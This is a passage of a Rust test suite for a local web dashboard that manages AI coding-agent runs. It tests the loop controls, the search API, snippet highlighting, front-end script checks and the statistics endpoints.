15874 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15875 }
15876
15877 #[tokio::test]
15878 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15879 let f = Fixture::start().await;
15880 let before = f.get("/api/health").await.json()["loop_rev"]
15881 .as_u64()
15882 .expect("a loop revision");
15883
15884 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15885
15886 let after = f.get("/api/health").await.json()["loop_rev"]
15887 .as_u64()
15888 .expect("a loop revision");
15889 assert!(
15890 after > before,
15891 "the loop is in-process state, so this counter is the only thing \
15892 that tells a second device the first one started it: {before} -> \
15893 {after}"
15894 );
15895
15896 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15897 }
15898
15899 #[tokio::test]
15900 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15901 let f = Fixture::with_loop(launch_broken).await;
15902
15903 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15904 assert_eq!(
15905 res.status, 200,
15906 "starting it is not the failure: {}",
15907 res.body
15908 );
15909
15910 let view = settled(&f, |v| v["last_error"].is_string()).await;
15911 assert_eq!(
15912 view["running"], false,
15913 "a loop that died must not read as running, or the operator has \
15914 nothing to press: {view}"
15915 );
15916 assert_eq!(view["owned"], false);
15917 assert!(
15918 view["last_error"]
15919 .as_str()
15920 .is_some_and(|e| e.contains("read-only file system")),
15921 "the phone is where a loop that died at 3am is visible: {view}"
15922 );
15923
15924 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15927 assert_eq!(again.status, 200, "{}", again.body);
15928 assert!(
15929 again.json()["last_error"]
15930 .as_str()
15931 .is_none_or(|e| !e.contains("read-only file system")),
15932 "a fresh start does not keep showing why the last one died: {}",
15933 again.body
15934 );
15935 }
15936
15937 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15949 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15950 let home = TempDir::new().expect("temp home");
15951 let runs = home.path().join("runs");
15952 std::fs::create_dir_all(&runs).expect("runs dir");
15953 let ui = Ui::new(
15954 Queue::at(home.path().join("queue")),
15955 Questions::at(home.path().join("questions")),
15956 Talks::at(home.path().join("talks")),
15957 runs,
15958 home.path().to_path_buf(),
15959 PathBuf::from("/repo/magi"),
15960 )
15961 .with_worktrees_root(home.path().join("wt"))
15962 .with_launch(launch_knocking_on_the_way_out);
15963 let looping = ui.looping();
15964 let turns = ui.turns();
15965 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15966 .await
15967 .expect("bind loopback");
15968 let addr = listener.local_addr().expect("local addr");
15969 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15970 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15971
15972 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15973 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15974
15975 let bound = std::sync::Mutex::new(None);
15990 hand_over(
15991 home.path(),
15992 &looping,
15993 &turns,
15994 &|_: &[String]| Duration::from_secs(5),
15995 served,
15996 |_| {
15997 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15998 let attempt = loop {
15999 match std::net::TcpListener::bind(addr) {
16000 Ok(l) => {
16001 drop(l);
16002 break Ok(());
16003 }
16004 Err(e)
16005 if e.kind() == std::io::ErrorKind::AddrInUse
16006 && std::time::Instant::now() < deadline =>
16007 {
16008 std::thread::sleep(std::time::Duration::from_millis(10));
16009 }
16010 Err(e) => break Err(e.to_string()),
16011 }
16012 };
16013 *bound.lock().expect("bound") = Some(attempt);
16014 Ok(1)
16015 },
16016 )
16017 .await
16018 .expect("hand over");
16019
16020 assert_eq!(
16021 *PARK_HEARD.lock().expect("park heard"),
16022 Some(200),
16023 "the deck must answer while the loop is parking"
16024 );
16025 let attempt = bound
16026 .lock()
16027 .expect("bound")
16028 .take()
16029 .expect("the successor was started");
16030 assert!(
16031 attempt.is_ok(),
16032 "and the address must be free by the time it is: {attempt:?}"
16033 );
16034 }
16035
16036 #[tokio::test]
16037 async fn a_newer_daemon_status_file_still_renders() {
16038 let f = Fixture::start().await;
16039 std::fs::write(
16042 f.home.path().join("daemon.json"),
16043 serde_json::json!({
16044 "schema": 2,
16045 "updated_at": Timestamp::now().to_string(),
16046 "idle": true,
16047 "surprise": { "nested": [1, 2, 3] },
16048 })
16049 .to_string(),
16050 )
16051 .expect("write daemon.json");
16052
16053 let health = f.get("/api/health").await;
16054
16055 assert_eq!(health.status, 200);
16056 assert_eq!(health.json()["daemon"]["running"], true);
16057 }
16058
16059 #[tokio::test]
16060 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16061 let f = Fixture::start().await;
16062 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16063 let broken = f.runs().join("20260902-140502-bad");
16064 std::fs::create_dir_all(&broken).expect("run dir");
16065 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16066
16067 let list = f.get("/api/runs").await;
16068 let detail = f.get("/api/runs/20260902-140502-bad").await;
16069
16070 assert_eq!(list.status, 200);
16071 let listed = list.json();
16072 let ids: Vec<&str> = listed
16073 .as_array()
16074 .expect("an array")
16075 .iter()
16076 .map(|r| r["id"].as_str().expect("an id"))
16077 .collect();
16078 assert_eq!(
16079 ids,
16080 vec!["20260902-140501-good"],
16081 "one unreadable run must not cost the operator the whole history"
16082 );
16083 assert_eq!(detail.status, 500);
16084 assert!(
16085 detail.json()["error"]
16086 .as_str()
16087 .is_some_and(|e| e.contains("run.json")),
16088 "the failure names the file to look at: {}",
16089 detail.body
16090 );
16091 let health = f.get("/api/health").await;
16095 assert_eq!(health.json()["runs_unreadable"], 1);
16096 }
16097
16098 #[tokio::test]
16100 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16101 let f = Fixture::start().await;
16102 let runs = f.runs();
16103 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16104 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16105 let path = runs.join("20260902-140502-bbbb").join("run.json");
16108 let mut v: serde_json::Value =
16109 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16110 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16111 std::fs::write(&path, v.to_string()).unwrap();
16112 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16113 std::fs::write(
16114 runs.join("20260902-140503-cccc").join("run.json"),
16115 "{ not json",
16116 )
16117 .unwrap();
16118
16119 let res = f.get("/api/search?scope=runs&q=quokka").await;
16120 assert_eq!(res.status, 200, "{}", res.body);
16121 let v = res.json();
16122 assert_eq!(v["total"], 1, "{v}");
16123 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16124 assert_eq!(v["hits"][0]["field"], "text");
16125 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16126 let parts = v["hits"][0]["snippet"].as_array().unwrap();
16127 assert!(
16128 parts
16129 .iter()
16130 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16131 "{v}"
16132 );
16133 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16134 assert_eq!(
16135 flat, "The Quokka leaks across threads",
16136 "whitespace is collapsed"
16137 );
16138
16139 let both = f
16141 .get("/api/search?scope=runs&q=MOBILE%20quokka")
16142 .await
16143 .json();
16144 assert_eq!(both["total"], 1, "{both}");
16145 let neither = f
16146 .get("/api/search?scope=runs&q=quokka%20zebra")
16147 .await
16148 .json();
16149 assert_eq!(neither["total"], 0, "{neither}");
16150 let stmt = f
16152 .get("/api/search?scope=runs&q=mobile%20first")
16153 .await
16154 .json();
16155 assert_eq!(stmt["total"], 2, "{stmt}");
16156 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16157 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16158 }
16159
16160 #[test]
16161 fn snippet_ignores_terms_longer_than_the_field() {
16162 let terms = ["ok".to_owned(), "elephant".to_owned()];
16163 let parts = snippet_of("ok", &terms);
16164 assert_eq!(
16165 parts,
16166 vec![SnippetPart {
16167 text: "ok".to_owned(),
16168 hit: true
16169 }]
16170 );
16171 }
16172
16173 #[test]
16174 fn snippet_marks_matches_longer_than_the_window() {
16175 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16176 let hit_len = |parts: &[SnippetPart]| -> usize {
16177 parts
16178 .iter()
16179 .filter(|p| p.hit)
16180 .map(|p| p.text.chars().count())
16181 .sum()
16182 };
16183 let total =
16184 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16185
16186 let long = "a".repeat(120);
16187 let parts = snippet_of(&long, std::slice::from_ref(&long));
16188 assert!(hit_len(&parts) > 0, "{parts:?}");
16189 assert!(total(&parts) <= cap);
16190
16191 let ja = "あ".repeat(130);
16192 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16193 assert!(hit_len(&parts) > 0, "{parts:?}");
16194 assert!(total(&parts) <= cap);
16195
16196 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16198 let term = format!("ab{}", "c".repeat(100));
16199 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16200 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16201 assert!(total(&parts) <= cap);
16202
16203 let text = format!("{}z", "a".repeat(119));
16205 let parts = snippet_of(&text, &["a".repeat(120)]);
16206 assert_eq!(hit_len(&parts), 0, "{parts:?}");
16207 }
16208
16209 #[tokio::test]
16210 async fn search_caps_hits_and_snippet_length() {
16211 let f = Fixture::start().await;
16212 let runs = f.runs();
16213 for n in 0..(SEARCH_MAX_HITS + 5) {
16214 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16215 }
16216 let v = f.get("/api/search?scope=runs&q=web").await.json();
16217 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16218 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16219 assert_eq!(v["truncated"], true);
16220 assert!(
16222 v["hits"]
16223 .as_array()
16224 .unwrap()
16225 .iter()
16226 .all(|h| h["run"]["status"] == "merged")
16227 );
16228
16229 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16230 let parts = snippet_of(&long, &["needle".to_owned()]);
16231 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16232 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16233 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16234 }
16235
16236 #[tokio::test]
16237 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16238 let f = Fixture::start().await;
16239 let queue = f.queue();
16240 let mut t = Task::new(
16241 "short title".to_owned(),
16242 "line one\nthe hidden Armadillo detail".to_owned(),
16243 PathBuf::from("/repo/magi"),
16244 Source::Agent {
16245 run: "r1".to_owned(),
16246 node: "chat".to_owned(),
16247 },
16248 );
16249 t.last_error = Some("disk full on /tmp".to_owned());
16250 queue.put(&mut t).expect("file the task");
16251
16252 for (q, want) in [
16253 ("armadillo", 1),
16254 ("disk%20FULL", 1),
16255 ("chat", 1),
16256 ("queued", 1),
16257 ("short%20nothing", 0),
16258 ] {
16259 let v = f
16260 .get(&format!("/api/search?scope=tasks&q={q}"))
16261 .await
16262 .json();
16263 assert_eq!(v["total"], want, "{q}: {v}");
16264 }
16265 for bad in [
16266 "/api/search?scope=tasks&q=",
16267 "/api/search?scope=tasks&q=%20",
16268 "/api/search?scope=chats&q=",
16269 "/api/search?scope=chats&q=%20",
16270 "/api/search?scope=nope&q=a",
16271 "/api/search?q=a",
16272 ] {
16273 assert_eq!(f.get(bad).await.status, 400, "{bad}");
16274 }
16275 }
16276
16277 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16279 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16280 .expect("seat value");
16281 let turns: Vec<serde_json::Value> = turns
16282 .iter()
16283 .map(|(who, body)| {
16284 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16285 })
16286 .collect();
16287 let doc = serde_json::json!({
16288 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16289 "status": status, "turns": turns,
16290 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16291 "seat": seat,
16292 });
16293 let dir = f.home.path().join("talks");
16294 std::fs::create_dir_all(&dir).expect("talks dir");
16295 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16296 }
16297
16298 #[tokio::test]
16299 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16300 let f = Fixture::start().await;
16301 write_talk(
16302 &f,
16303 "20260901-000001-aaaa",
16304 "open",
16305 &[
16306 (
16307 "operator",
16308 "\n Why does the Pangolin cache expire?\nsecond line",
16309 ),
16310 ("agent", "Because the TTL is thirty seconds."),
16311 ],
16312 );
16313 write_talk(
16314 &f,
16315 "20260901-000002-bbbb",
16316 "closed",
16317 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16318 );
16319 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16320
16321 let search = |q: &'static str| {
16322 let f = &f;
16323 async move {
16324 f.get(&format!("/api/search?scope=chats&q={q}"))
16325 .await
16326 .json()
16327 }
16328 };
16329
16330 let v = search("PANGOLIN").await;
16331 assert_eq!(v["scope"], "chats");
16332 assert_eq!(v["total"], 1, "{v}");
16333 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16334 assert_eq!(v["hits"][0]["field"], "title");
16335 assert_eq!(v["unreadable"], 1, "{v}");
16336 let marked: Vec<&str> = v["hits"][0]["snippet"]
16337 .as_array()
16338 .unwrap()
16339 .iter()
16340 .filter(|p| p["hit"] == true)
16341 .map(|p| p["text"].as_str().unwrap())
16342 .collect();
16343 assert_eq!(marked, ["Pangolin"]);
16344
16345 let v = search("zebra").await;
16347 assert_eq!(v["total"], 1, "{v}");
16348 assert_eq!(v["hits"][0]["field"], "agent");
16349 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16351 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16352 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16354 assert_eq!(search(q).await["total"], 0, "{q}");
16355 }
16356 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16358 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16360
16361 let v = f.get("/api/search?scope=nope&q=a").await;
16362 assert_eq!(v.status, 400);
16363 assert!(
16364 v.body.contains("scope must be runs, tasks or chats"),
16365 "{}",
16366 v.body
16367 );
16368 }
16369
16370 #[test]
16371 fn a_question_card_links_a_task_id_to_the_task_page() {
16372 let start = APP_JS
16373 .find("function updateAskCard(")
16374 .expect("updateAskCard exists");
16375 let body = &APP_JS[start..];
16376 let body = &body[..body.find("\n}\n").expect("function end")];
16377 assert!(body.contains("question.run_is_task"));
16378 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16379 assert!(body.contains("`#/runs/${question.run}`"));
16380 assert!(body.contains("\"task\" : \"run\""));
16381 }
16382
16383 #[test]
16384 fn plain_text_message_surfaces_go_through_linkify() {
16385 assert!(APP_JS.contains("function linkify("));
16386 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16387 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16388 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16389 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16390 assert!(!APP_JS.contains("innerHTML = text"));
16391 }
16392
16393 #[test]
16394 fn implementation_rate_views_keep_independent_samples() {
16395 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16396 let a = stats::AgentStats {
16397 competitive_entered: competitive_n,
16398 competitive_wins: usize::from(competitive_n > 0),
16399 solo_entered: solo_n,
16400 solo_adopted: 2 * usize::from(solo_n > 0),
16401 ..Default::default()
16402 };
16403 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16404 for (key, n, numerator) in [
16405 ("competitive_win_rate", competitive_n, a.competitive_wins),
16406 ("solo_adoption_rate", solo_n, a.solo_adopted),
16407 ] {
16408 if n == 0 {
16409 assert!(v[key].is_null());
16410 } else {
16411 assert_eq!(v[key]["denominator"], n);
16412 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16413 }
16414 }
16415 }
16416 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16417 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16418 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16419 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16420 }
16421
16422 #[test]
16423 fn stats_bars_share_one_id_keyed_plan() {
16424 let start = APP_JS
16425 .find("function statsBarRows(")
16426 .expect("statsBarRows exists");
16427 let body = &APP_JS[start..];
16428 let body = &body[..body.find("\n}\n").expect("function end")];
16429 assert!(body.contains("statsBarPlan(rows)"));
16430 assert!(body.contains("statsAgentTone(row.agent)"));
16431 assert!(!body.contains("candTone(i)"));
16432 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16433 for root in [
16434 "stats-agents-bars",
16435 "stats-solo-bars",
16436 "stats-reviewers-bars",
16437 ] {
16438 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16439 }
16440 }
16441
16442 #[test]
16443 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16444 let start = APP_JS
16445 .find("function renderStatsReviewerScatter(")
16446 .expect("renderStatsReviewerScatter exists");
16447 let body = &APP_JS[start..];
16448 let body = &body[..body.find("\n}\n").expect("function end")];
16449 assert!(body.contains("statsScatterPlan(reviewers)"));
16450 assert!(body.contains("statsAgentTone(d.agent)"));
16451 assert!(APP_JS.contains("function statsScatterPlan("));
16452 assert!(
16453 APP_JS.contains("d.submitted < STATS_LOW_N")
16454 || APP_JS.contains("r.submitted < STATS_LOW_N")
16455 );
16456 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16457 assert!(APP_CSS.contains(".precision-scatter"));
16458 }
16459
16460 #[test]
16461 fn advisor_reflection_is_drawn_as_stacked_segments() {
16462 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16463 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16464 let html = include_str!("../assets/ui/index.html");
16465 assert!(html.contains("Approximate"));
16466 for label in ["reflected strongly", "faint", "no proposal"] {
16467 assert!(html.contains(label));
16468 }
16469 let css = include_str!("../assets/ui/app.css");
16470 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16471 assert!(css.contains(&format!(".{c} {{")));
16472 }
16473 }
16474
16475 #[test]
16476 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16477 assert!(APP_JS.contains("function statsDailyPlan("));
16478 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16479 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16480 }
16481
16482 #[test]
16483 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16484 let start = APP_JS
16485 .find("function scheduleSearch(")
16486 .expect("scheduleSearch exists");
16487 let body = &APP_JS[start..];
16488 let body = &body[..body.find("\n}\n").expect("function end")];
16489 assert!(body.contains("s.seq += 1"));
16490 }
16491
16492 #[tokio::test]
16497 async fn stats_runs_unreadable_matches_health() {
16498 let f = Fixture::start().await;
16499 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16500 let broken = f.runs().join("20260902-140502-bad");
16501 std::fs::create_dir_all(&broken).expect("run dir");
16502 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16503
16504 let stats = f.get("/api/stats").await;
16505 let health = f.get("/api/health").await;
16506
16507 assert_eq!(stats.status, 200);
16508 assert_eq!(stats.json()["totals"]["runs"], 1);
16509 assert_eq!(stats.json()["runs_unreadable"], 1);
16510 assert_eq!(
16511 stats.json()["runs_unreadable"],
16512 health.json()["runs_unreadable"],
16513 "the dashboard and /api/health must never disagree about how many \
16514 runs could not be read"
16515 );
16516 }
16517
16518 #[tokio::test]
16519 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16520 let f = Fixture::start().await;
16521 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16522 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16523 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16524
16525 let totals = &f.get("/api/stats").await.json()["totals"];
16526 assert_eq!(totals["runs"], 3);
16527 assert_eq!(totals["merged"], 1);
16528 assert_eq!(totals["stalled"], 1);
16529 assert_eq!(totals["in_progress"], 1);
16530 assert_eq!(totals["blocked"], 0);
16533 assert_eq!(totals["ready"], 0);
16534 }
16535
16536 #[tokio::test]
16537 async fn stats_advisors_report_proposals_and_reflection() {
16538 use crate::advise::{Advice, AdvisorRecord, Reflection};
16539 use crate::verdict::Proposal;
16540
16541 let f = Fixture::start().await;
16542 let mut state = RunState::new(
16543 PathBuf::from("/repo/magi"),
16544 "main".to_owned(),
16545 "0123456789abcdef".to_owned(),
16546 "task".to_owned(),
16547 Config::default(),
16548 );
16549 state.id = "20260902-140501-a".to_owned();
16550 state.status = RunStatus::Merged;
16551 state.advice = Some(Advice {
16552 records: vec![
16553 AdvisorRecord {
16554 seat: "advisor-1".to_owned(),
16555 agent: "alpha".to_owned(),
16556 proposal: Some(Proposal {
16557 approach: "do it".to_owned(),
16558 key_tradeoff: "speed over memory".to_owned(),
16559 risks: Vec::new(),
16560 touches: Vec::new(),
16561 why_not_naive: "breaks under load".to_owned(),
16562 }),
16563 error: None,
16564 duration_ms: 0,
16565 reflection: Reflection::Strong,
16566 },
16567 AdvisorRecord {
16568 seat: "advisor-2".to_owned(),
16569 agent: "alpha".to_owned(),
16570 proposal: None,
16571 error: Some("timed out".to_owned()),
16572 duration_ms: 0,
16573 reflection: Reflection::Absent,
16574 },
16575 ],
16576 synthesis: Some("blended brief".to_owned()),
16577 });
16578 let dir = f.runs().join(&state.id);
16579 std::fs::create_dir_all(&dir).expect("run dir");
16580 std::fs::write(
16581 dir.join("run.json"),
16582 serde_json::to_string_pretty(&state).expect("serialize run"),
16583 )
16584 .expect("write run.json");
16585
16586 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16588 let alpha = advisors
16589 .as_array()
16590 .expect("an array")
16591 .iter()
16592 .find(|a| a["agent"] == "alpha")
16593 .expect("alpha row");
16594 assert_eq!(alpha["seated"], 2);
16595 assert_eq!(alpha["proposed"], 1);
16596 assert_eq!(alpha["absent"], 1);
16597 assert_eq!(alpha["strong"], 1);
16598 assert_eq!(alpha["faint"], 0);
16599 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16600 }
16601
16602 #[tokio::test]
16603 async fn stats_hides_agents_outside_the_roster_unless_all() {
16604 use crate::run::Candidate;
16605 let repo = TempDir::new().expect("repo dir");
16606 std::fs::write(
16607 repo.path().join("magi.toml"),
16608 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16609 )
16610 .expect("magi.toml");
16611 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16612 let mut state = RunState::new(
16613 PathBuf::from("/repo/magi"),
16614 "main".to_owned(),
16615 "0123456789abcdef".to_owned(),
16616 "task".to_owned(),
16617 Config::default(),
16618 );
16619 state.id = "20260902-140501-a".to_owned();
16620 state.status = RunStatus::Merged;
16621 for (label, agent) in [('A', "keep"), ('B', "retired")] {
16622 let mut c: Candidate = serde_json::from_value(serde_json::json!({
16623 "index": 0, "label": label.to_string(), "agent": agent,
16624 "branch": "b", "worktree": "/w",
16625 }))
16626 .expect("candidate");
16627 c.label = label;
16628 state.candidates.push(c);
16629 }
16630 let dir = f.runs().join(&state.id);
16631 std::fs::create_dir_all(&dir).expect("run dir");
16632 std::fs::write(
16633 dir.join("run.json"),
16634 serde_json::to_string_pretty(&state).expect("serialize run"),
16635 )
16636 .expect("write run.json");
16637
16638 let agents_of = |v: &serde_json::Value| -> Vec<String> {
16639 v["agents"]
16640 .as_array()
16641 .expect("array")
16642 .iter()
16643 .map(|a| a["agent"].as_str().unwrap().to_owned())
16644 .collect()
16645 };
16646 let hidden = f.get("/api/stats").await.json();
16647 assert_eq!(agents_of(&hidden), ["keep"]);
16648 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16649 assert_eq!(hidden["totals"]["runs"], 1);
16650
16651 let all = f.get("/api/stats?all=true").await.json();
16652 assert_eq!(agents_of(&all).len(), 2);
16653 assert_eq!(all["retired_hidden"], serde_json::json!([]));
16654 let keep_agent = all["agents"]
16656 .as_array()
16657 .unwrap()
16658 .iter()
16659 .find(|a| a["agent"] == "keep")
16660 .unwrap();
16661 assert_eq!(keep_agent["competitive_entered"], 1);
16662 assert_eq!(keep_agent["competitive_wins"], 0);
16663 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16664 assert_eq!(keep_agent["solo_entered"], 0);
16665 assert_eq!(keep_agent["solo_adopted"], 0);
16666 assert!(keep_agent["solo_adoption_rate"].is_null());
16667 }
16668
16669 #[tokio::test]
16670 async fn stats_release_bumps_split_clean_from_attention() {
16671 use crate::run::ReleaseBump;
16672
16673 let f = Fixture::start().await;
16674
16675 let mut clean = RunState::new(
16676 PathBuf::from("/repo/magi"),
16677 "main".to_owned(),
16678 "0123456789abcdef".to_owned(),
16679 "task".to_owned(),
16680 Config::default(),
16681 );
16682 clean.id = "20260902-140501-a".to_owned();
16683 clean.status = RunStatus::Merged;
16684 clean.release_bump = Some(ReleaseBump {
16685 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16686 version: Some("1.0.0".to_owned()),
16687 automerge_enabled: true,
16688 merged_directly: false,
16689 local: false,
16690 release: None,
16691 problem: None,
16692 action_required: None,
16693 });
16694
16695 let mut blocked = RunState::new(
16696 PathBuf::from("/repo/magi"),
16697 "main".to_owned(),
16698 "0123456789abcdef".to_owned(),
16699 "task".to_owned(),
16700 Config::default(),
16701 );
16702 blocked.id = "20260902-140502-b".to_owned();
16703 blocked.status = RunStatus::Merged;
16704 blocked.release_bump = Some(ReleaseBump {
16705 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16706 version: Some("1.0.1".to_owned()),
16707 automerge_enabled: false,
16708 merged_directly: false,
16709 local: false,
16710 release: None,
16711 problem: Some("checks red".to_owned()),
16712 action_required: Some("look at the PR".to_owned()),
16713 });
16714
16715 for state in [&clean, &blocked] {
16716 let dir = f.runs().join(&state.id);
16717 std::fs::create_dir_all(&dir).expect("run dir");
16718 std::fs::write(
16719 dir.join("run.json"),
16720 serde_json::to_string_pretty(state).expect("serialize run"),
16721 )
16722 .expect("write run.json");
16723 }
16724
16725 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16726 assert_eq!(bumps["merged"], 2);
16727 assert_eq!(bumps["recorded"], 2);
16728 assert_eq!(bumps["pr_opened"], 2);
16729 assert_eq!(bumps["automerge_enabled"], 1);
16730 assert_eq!(bumps["needs_attention"], 1);
16731 assert_eq!(bumps["clean"], 1);
16732 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16733 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16734 }
16735
16736 #[tokio::test]
16737 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16738 let f = Fixture::start().await;
16739 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16740
16741 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16742 assert_eq!(bumps["merged"], 1);
16743 assert_eq!(bumps["recorded"], 0);
16744 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16747 assert_eq!(bumps["automerge_rate"], Value::Null);
16750 assert_eq!(bumps["attention_rate"], Value::Null);
16751 }
16752
16753 #[tokio::test]
16754 async fn stats_queue_counts_come_from_the_live_queue() {
16755 let f = Fixture::start().await;
16756 let q = f.queue();
16757 let mut queued = Task::new(
16758 "queued task".to_owned(),
16759 "do it".to_owned(),
16760 PathBuf::from("/repo"),
16761 Source::Human,
16762 );
16763 q.put(&mut queued).expect("put queued");
16764 let mut held = Task::new(
16765 "held task".to_owned(),
16766 "do it later".to_owned(),
16767 PathBuf::from("/repo"),
16768 Source::Human,
16769 );
16770 held.hold_machine(Some("out of attempts".to_owned()));
16771 q.put(&mut held).expect("put held");
16772
16773 let queue = f.get("/api/stats").await.json()["queue"].clone();
16774 assert_eq!(queue["queued"], 1);
16775 assert_eq!(queue["held"], 1);
16776 assert_eq!(queue["running"], 0);
16777 assert_eq!(queue["done"], 0);
16778 assert_eq!(queue["failed"], 0);
16779 assert_eq!(queue["blocked"], 0);
16780 }
16781
16782 #[tokio::test]
16783 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16784 let f = Fixture::start().await;
16785 let stats = f.get("/api/stats").await;
16786 assert_eq!(stats.status, 200);
16787 assert_eq!(stats.json()["totals"]["runs"], 0);
16788 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16789 assert_eq!(stats.json()["runs_unreadable"], 0);
16790 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16791 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16792 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16793 assert_eq!(stats.json()["repo"], Value::Null);
16794 }
16795
16796 #[tokio::test]
16797 async fn stats_lists_every_repository_with_runs_recorded() {
16798 let f = Fixture::start().await;
16799 write_run_repo(
16800 &f.runs(),
16801 "20260902-140501-a",
16802 RunStatus::Merged,
